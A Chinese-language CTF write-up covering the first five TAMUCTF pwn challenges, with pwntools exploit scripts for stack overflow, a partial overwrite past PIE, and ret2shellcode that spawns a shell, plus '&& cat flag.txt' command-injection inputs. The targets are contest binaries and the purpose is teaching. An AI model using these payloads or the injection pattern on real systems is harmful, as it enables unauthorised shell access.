TAMUCTF-部分pwn解析
和队里师傅做了这个比赛的题目难度有些梯度,但是后面两个题难度实在大了,水平太低不会了,前面的题还是比较简单有一定的借鉴意义,记录一下大佬勿喷。
pwn1
第一题比较简单大概看一下。
main
从栈分布和main函数来看就是一个栈溢出加上覆盖指针然后成功运行print_flag函数就可以拿到flag了。
exp
p = remote("nc pwn.tamuctf.com",4321)
#p = process('./pwn1.dms')
context.log_level = 'debug'
pa_0 = "Sir Lancelot of Camelot"
pa_1 = "To seek the Holy Grail."
pa_2 = "a"*0x2b +p32(0xDEA110C8)
p.recvuntil("What... is your name?\n")
p.sendline(pa_0)
p.recvuntil("What... is your quest?\n")
p.sendline(pa_1)
p.recvuntil("What... is my secret?\n")
p.sendline(pa_2)
p.interactive()
#gigem{34sy_CC428ECD75A0D392}
pwn2
这个题目考查的是pie的绕过,用的方法是低位覆盖
保护
main
逻辑比较简单就不多说了
select_function
主要是进行一个运行函数的筛选,其中的one和two我就不进行截图查看了就是一个puts函数没有什么特别的,这里我想的是利用strncpy的一个一个字节的溢出来造成最后程序的转跳,因为one的函数前面3个字节和后门函数是一样的,这里具体可以看栈分布,就不截图出来的。
exp
p = process('pwn2.dms')
&& cat flag.txt
#gigem{5y573m_0v3rfl0w}
'''
'''
p = remote("nc pwn.tamuctf.com",4322)
#p = process("pwn2.dms")
context.log_level = 'debug'
#6D8
pay ="a"*(0x1e)+"\xd8"
#gdb.attach(p)
p.recvuntil("Which function would you like to call?")
p.sendline(pay)
p.interactive()
#gigem{4ll_17_74k35_15_0n3}
pwn3
一个ret2sc的题,具体难度就是在调试的时候可能会有各种各样的问题
保护
这个地方没有开始nx,所以想到可以去执行ret2sc
main
程序的开始就给了我们我们输入的stack地址,我们的stack地址加上填充的长度然后输入我们的shellcode,接着返回地址覆盖成我们已经布置好栈的位置这样就可以getshell拿到flag了。
exp
#p = process("./pwn3.dms")
context(arch = 'i386', os = 'linux')
p = remote("pwn.tamuctf.com",4323)
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("Take this, you might need it on your journey ")
ret = int(p.recv()[:10],16)
print ret
p.sendline("a"*(0x12a+4)+p32(ret+0x12a+0x8)+asm(shellcraft.sh()))
p.interactive()
#gigem{r3m073_fl46_3x3cu710n}
pwn4
一个关于linux命令行的问题,是一个系列先看第一个类型
main
这里就是让我们输入ls xx 我们要输入的区域是xx处,刚开始我想难道ls也有什么可以显示文本内容的骚操作。。结果问了个师傅才知道自己对linux命令行了解的浅薄,因为这个pwn4没有限制xx处的长度所以我们可以直接getshell
exp
&& cat flag.txt
pwn5
是这5个简单题里比较有难度的,但是其实也没什么,打开ida的时候很容易就能发现是静态编译
main
因为这里限制了ls xx xx处的长度所以我们只能采取一个其他方法绕过,这里查看get栈溢出处可以发现这题的栈比较干净所以果断选择rop,又因为是静态编译的所以可以直接进行ret2sc具体还是比较简单的。
exp
总结
这部分题目总体不是很难,但是后面两个题是真的没什么思路,希望大佬能够出来教授一下。